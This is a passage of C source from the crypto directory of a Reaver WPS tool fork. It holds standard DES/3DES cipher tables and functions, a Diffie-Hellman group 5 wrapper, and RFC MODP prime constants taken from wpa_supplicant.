0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL, 0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL }; static const u32 SP2[64] = { 0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL, 0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL, 0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL, 0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL, 0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL, 0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL, 0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL, 0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL, 0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL, 0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL, 0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL, 0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL, 0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL, 0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL }; static const u32 SP3[64] = { 0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL, 0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL, 0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL, 0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL, 0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL, 0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL, 0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL, 0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL, 0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL, 0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL, 0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL, 0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL, 0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL, 0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL, 0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL, 0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL }; static const u32 SP4[64] = { 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL, 0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL, 0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL, 0x00800081UL, 0x00000001UL, 0x00002080UL, 0x00800080UL, 0x00002000UL, 0x00802080UL, 0x00802081UL, 0x00000081UL, 0x00800080UL, 0x00800001UL, 0x00802000UL, 0x00802081UL, 0x00000081UL, 0x00000000UL, 0x00000000UL, 0x00802000UL, 0x00002080UL, 0x00800080UL, 0x00800081UL, 0x00000001UL, 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, 0x00802081UL, 0x00000081UL, 0x00000001UL, 0x00002000UL, 0x00800001UL, 0x00002001UL, 0x00802080UL, 0x00800081UL, 0x00002001UL, 0x00002080UL, 0x00800000UL, 0x00802001UL, 0x00000080UL, 0x00800000UL, 0x00002000UL, 0x00802080UL }; static const u32 SP5[64] = { 0x00000100UL, 0x02080100UL, 0x02080000UL, 0x42000100UL, 0x00080000UL, 0x00000100UL, 0x40000000UL, 0x02080000UL, 0x40080100UL, 0x00080000UL, 0x02000100UL, 0x40080100UL, 0x42000100UL, 0x42080000UL, 0x00080100UL, 0x40000000UL, 0x02000000UL, 0x40080000UL, 0x40080000UL, 0x00000000UL, 0x40000100UL, 0x42080100UL, 0x42080100UL, 0x02000100UL, 0x42080000UL, 0x40000100UL, 0x00000000UL, 0x42000000UL, 0x02080100UL, 0x02000000UL, 0x42000000UL, 0x00080100UL, 0x00080000UL, 0x42000100UL, 0x00000100UL, 0x02000000UL, 0x40000000UL, 0x02080000UL, 0x42000100UL, 0x40080100UL, 0x02000100UL, 0x40000000UL, 0x42080000UL, 0x02080100UL, 0x40080100UL, 0x00000100UL, 0x02000000UL, 0x42080000UL, 0x42080100UL, 0x00080100UL, 0x42000000UL, 0x42080100UL, 0x02080000UL, 0x00000000UL, 0x40080000UL, 0x42000000UL, 0x00080100UL, 0x02000100UL, 0x40000100UL, 0x00080000UL, 0x00000000UL, 0x40080000UL, 0x02080100UL, 0x40000100UL }; static const u32 SP6[64] = { 0x20000010UL, 0x20400000UL, 0x00004000UL, 0x20404010UL, 0x20400000UL, 0x00000010UL, 0x20404010UL, 0x00400000UL, 0x20004000UL, 0x00404010UL, 0x00400000UL, 0x20000010UL, 0x00400010UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, 0x00000000UL, 0x00400010UL, 0x20004010UL, 0x00004000UL, 0x00404000UL, 0x20004010UL, 0x00000010UL, 0x20400010UL, 0x20400010UL, 0x00000000UL, 0x00404010UL, 0x20404000UL, 0x00004010UL, 0x00404000UL, 0x20404000UL, 0x20000000UL, 0x20004000UL, 0x00000010UL, 0x20400010UL, 0x00404000UL, 0x20404010UL, 0x00400000UL, 0x00004010UL, 0x20000010UL, 0x00400000UL, 0x20004000UL, 0x20000000UL, 0x00004010UL, 0x20000010UL, 0x20404010UL, 0x00404000UL, 0x20400000UL, 0x00404010UL, 0x20404000UL, 0x00000000UL, 0x20400010UL, 0x00000010UL, 0x00004000UL, 0x20400000UL, 0x00404010UL, 0x00004000UL, 0x00400010UL, 0x20004010UL, 0x00000000UL, 0x20404000UL, 0x20000000UL, 0x00400010UL, 0x20004010UL }; static const u32 SP7[64] = { 0x00200000UL, 0x04200002UL, 0x04000802UL, 0x00000000UL, 0x00000800UL, 0x04000802UL, 0x00200802UL, 0x04200800UL, 0x04200802UL, 0x00200000UL, 0x00000000UL, 0x04000002UL, 0x00000002UL, 0x04000000UL, 0x04200002UL, 0x00000802UL, 0x04000800UL, 0x00200802UL, 0x00200002UL, 0x04000800UL, 0x04000002UL, 0x04200000UL, 0x04200800UL, 0x00200002UL, 0x04200000UL, 0x00000800UL, 0x00000802UL, 0x04200802UL, 0x00200800UL, 0x00000002UL, 0x04000000UL, 0x00200800UL, 0x04000000UL, 0x00200800UL, 0x00200000UL, 0x04000802UL, 0x04000802UL, 0x04200002UL, 0x04200002UL, 0x00000002UL, 0x00200002UL, 0x04000000UL, 0x04000800UL, 0x00200000UL, 0x04200800UL, 0x00000802UL, 0x00200802UL, 0x04200800UL, 0x00000802UL, 0x04000002UL, 0x04200802UL, 0x04200000UL, 0x00200800UL, 0x00000000UL, 0x00000002UL, 0x04200802UL, 0x00000000UL, 0x00200802UL, 0x04200000UL, 0x00000800UL, 0x04000002UL, 0x04000800UL, 0x00000800UL, 0x00200002UL }; static const u32 SP8[64] = { 0x10001040UL, 0x00001000UL, 0x00040000UL, 0x10041040UL, 0x10000000UL, 0x10001040UL, 0x00000040UL, 0x10000000UL, 0x00040040UL, 0x10040000UL, 0x10041040UL, 0x00041000UL, 0x10041000UL, 0x00041040UL, 0x00001000UL, 0x00000040UL, 0x10040000UL, 0x10000040UL, 0x10001000UL, 0x00001040UL, 0x00041000UL, 0x00040040UL, 0x10040040UL, 0x10041000UL, 0x00001040UL, 0x00000000UL, 0x00000000UL, 0x10040040UL, 0x10000040UL, 0x10001000UL, 0x00041040UL, 0x00040000UL, 0x00041040UL, 0x00040000UL, 0x10041000UL, 0x00001000UL, 0x00000040UL, 0x10040040UL, 0x00001000UL, 0x00041040UL, 0x10001000UL, 0x00000040UL, 0x10000040UL, 0x10040000UL, 0x10040040UL, 0x10000000UL, 0x00040000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00040040UL, 0x10000040UL, 0x10040000UL, 0x10001000UL, 0x10001040UL, 0x00000000UL, 0x10041040UL, 0x00041000UL, 0x00041000UL, 0x00001040UL, 0x00001040UL, 0x00040040UL, 0x10000000UL, 0x10041000UL }; static void cookey(const u32 *raw1, u32 *keyout) { u32 *cook; const u32 *raw0; u32 dough[32]; int i; cook = dough; for (i = 0; i < 16; i++, raw1++) { raw0 = raw1++; *cook = (*raw0 & 0x00fc0000L) << 6; *cook |= (*raw0 & 0x00000fc0L) << 10; *cook |= (*raw1 & 0x00fc0000L) >> 10; *cook++ |= (*raw1 & 0x00000fc0L) >> 6; *cook = (*raw0 & 0x0003f000L) << 12; *cook |= (*raw0 & 0x0000003fL) << 16; *cook |= (*raw1 & 0x0003f000L) >> 4; *cook++ |= (*raw1 & 0x0000003fL); } os_memcpy(keyout, dough, sizeof(dough)); } static void deskey(const u8 *key, int decrypt, u32 *keyout) { u32 i, j, l, m, n, kn[32]; u8 pc1m[56], pcr[56]; for (j = 0; j < 56; j++) { l = (u32) pc1[j]; m = l & 7; pc1m[j] = (u8) ((key[l >> 3U] & bytebit[m]) == bytebit[m] ? 1 : 0); } for (i = 0; i < 16; i++) { if (decrypt) m = (15 - i) << 1; else m = i << 1; n = m + 1; kn[m] = kn[n] = 0L; for (j = 0; j < 28; j++) { l = j + (u32) totrot[i]; if (l < 28) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (/* j = 28 */; j < 56; j++) { l = j + (u32) totrot[i]; if (l < 56) pcr[j] = pc1m[l]; else pcr[j] = pc1m[l - 28]; } for (j = 0; j < 24; j++) { if ((int) pcr[(int) pc2[j]] != 0) kn[m] |= bigbyte[j]; if ((int) pcr[(int) pc2[j + 24]] != 0) kn[n] |= bigbyte[j]; } } cookey(kn, keyout); } static void desfunc(u32 *block, const u32 *keys) { u32 work, right, leftt; int cur_round; leftt = block[0]; right = block[1]; work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL; right ^= work; leftt ^= (work << 4); work = ((leftt >> 16) ^ right) & 0x0000ffffL; right ^= work; leftt ^= (work << 16); work = ((right >> 2) ^ leftt) & 0x33333333L; leftt ^= work; right ^= (work << 2); work = ((right >> 8) ^ leftt) & 0x00ff00ffL; leftt ^= work; right ^= (work << 8); right = ROLc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = ROLc(leftt, 1); for (cur_round = 0; cur_round < 8; cur_round++) { work = RORc(right, 4) ^ *keys++; leftt ^= SP7[work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = right ^ *keys++; leftt ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; work = RORc(leftt, 4) ^ *keys++; right ^= SP7[ work & 0x3fL] ^ SP5[(work >> 8) & 0x3fL] ^ SP3[(work >> 16) & 0x3fL] ^ SP1[(work >> 24) & 0x3fL]; work = leftt ^ *keys++; right ^= SP8[ work & 0x3fL] ^ SP6[(work >> 8) & 0x3fL] ^ SP4[(work >> 16) & 0x3fL] ^ SP2[(work >> 24) & 0x3fL]; } right = RORc(right, 1); work = (leftt ^ right) & 0xaaaaaaaaL; leftt ^= work; right ^= work; leftt = RORc(leftt, 1); work = ((leftt >> 8) ^ right) & 0x00ff00ffL; right ^= work; leftt ^= (work << 8); /* -- */ work = ((leftt >> 2) ^ right) & 0x33333333L; right ^= work; leftt ^= (work << 2); work = ((right >> 16) ^ leftt) & 0x0000ffffL; leftt ^= work; right ^= (work << 16); work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL; leftt ^= work; right ^= (work << 4); block[0] = right; block[1] = leftt; } /* wpa_supplicant/hostapd specific wrapper */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; u32 ek[32], work[2]; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; deskey(pkey, 0, ek); work[0] = WPA_GET_BE32(clear); work[1] = WPA_GET_BE32(clear + 4); desfunc(work, ek); WPA_PUT_BE32(cypher, work[0]); WPA_PUT_BE32(cypher + 4, work[1]); os_memset(pkey, 0, sizeof(pkey)); os_memset(ek, 0, sizeof(ek)); } void des_key_setup(const u8 *key, u32 *ek, u32 *dk) { deskey(key, 0, ek); deskey(key, 1, dk); } void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, ek); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, dk); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } void des3_key_setup(const u8 *key, struct des3_key_s *dkey) { deskey(key, 0, dkey->ek[0]); deskey(key + 8, 1, dkey->ek[1]); deskey(key + 16, 0, dkey->ek[2]); deskey(key, 1, dkey->dk[2]); deskey(key + 8, 0, dkey->dk[1]); deskey(key + 16, 1, dkey->dk[0]); } void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt) { u32 work[2]; work[0] = WPA_GET_BE32(plain); work[1] = WPA_GET_BE32(plain + 4); desfunc(work, key->ek[0]); desfunc(work, key->ek[1]); desfunc(work, key->ek[2]); WPA_PUT_BE32(crypt, work[0]); WPA_PUT_BE32(crypt + 4, work[1]); } void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain) { u32 work[2]; work[0] = WPA_GET_BE32(crypt); work[1] = WPA_GET_BE32(crypt + 4); desfunc(work, key->dk[0]); desfunc(work, key->dk[1]); desfunc(work, key->dk[2]); WPA_PUT_BE32(plain, work[0]); WPA_PUT_BE32(plain + 4, work[1]); } reaver-wps-fork-t6x-1.6.6/src/crypto/des_i.h000077500000000000000000000016401363372615500206570ustar00rootroot00000000000000/* * DES and 3DES-EDE ciphers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DES_I_H #define DES_I_H struct des3_key_s { u32 ek[3][32]; u32 dk[3][32]; }; void des_key_setup(const u8 *key, u32 *ek, u32 *dk); void des_block_encrypt(const u8 *plain, const u32 *ek, u8 *crypt); void des_block_decrypt(const u8 *crypt, const u32 *dk, u8 *plain); void des3_key_setup(const u8 *key, struct des3_key_s *dkey); void des3_encrypt(const u8 *plain, const struct des3_key_s *key, u8 *crypt); void des3_decrypt(const u8 *crypt, const struct des3_key_s *key, u8 *plain); #endif /* DES_I_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/dh_group5.c000077500000000000000000000015751363372615500214720ustar00rootroot00000000000000/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "dh_groups.h" #include "dh_group5.h" void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) { *publ = dh_init(dh_groups_get(5), priv); if (*publ == 0) return NULL; return (void *) 1; } struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private) { return dh_derive_shared(peer_public, own_private, dh_groups_get(5)); } void dh5_free(void *ctx) { } reaver-wps-fork-t6x-1.6.6/src/crypto/dh_group5.h000077500000000000000000000012641363372615500214720ustar00rootroot00000000000000/* * Diffie-Hellman group 5 operations * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUP5_H #define DH_GROUP5_H void * dh5_init(struct wpabuf **priv, struct wpabuf **publ); struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, const struct wpabuf *own_private); void dh5_free(void *ctx); #endif /* DH_GROUP5_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/dh_groups.c000077500000000000000000000627061363372615500215730ustar00rootroot00000000000000/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "dh_groups.h" #include "../globule.h" #ifdef ALL_DH_GROUPS /* RFC 4306, B.1. Group 1 - 768 Bit MODP * Generator: 2 * Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 } */ static const u8 dh_group1_generator[1] = { 0x02 }; static const u8 dh_group1_prime[96] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 4306, B.2. Group 2 - 1024 Bit MODP * Generator: 2 * Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 } */ static const u8 dh_group2_generator[1] = { 0x02 }; static const u8 dh_group2_prime[128] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ /* RFC 3526, 2. Group 5 - 1536 Bit MODP * Generator: 2 * Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 } */ static const u8 dh_group5_generator[1] = { 0x02 }; static const u8 dh_group5_prime[192] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #ifdef ALL_DH_GROUPS /* RFC 3526, 3. Group 14 - 2048 Bit MODP * Generator: 2 * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } */ static const u8 dh_group14_generator[1] = { 0x02 }; static const u8 dh_group14_prime[256] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 4. Group 15 - 3072 Bit MODP * Generator: 2 * Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 } */ static const u8 dh_group15_generator[1] = { 0x02 }; static const u8 dh_group15_prime[384] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 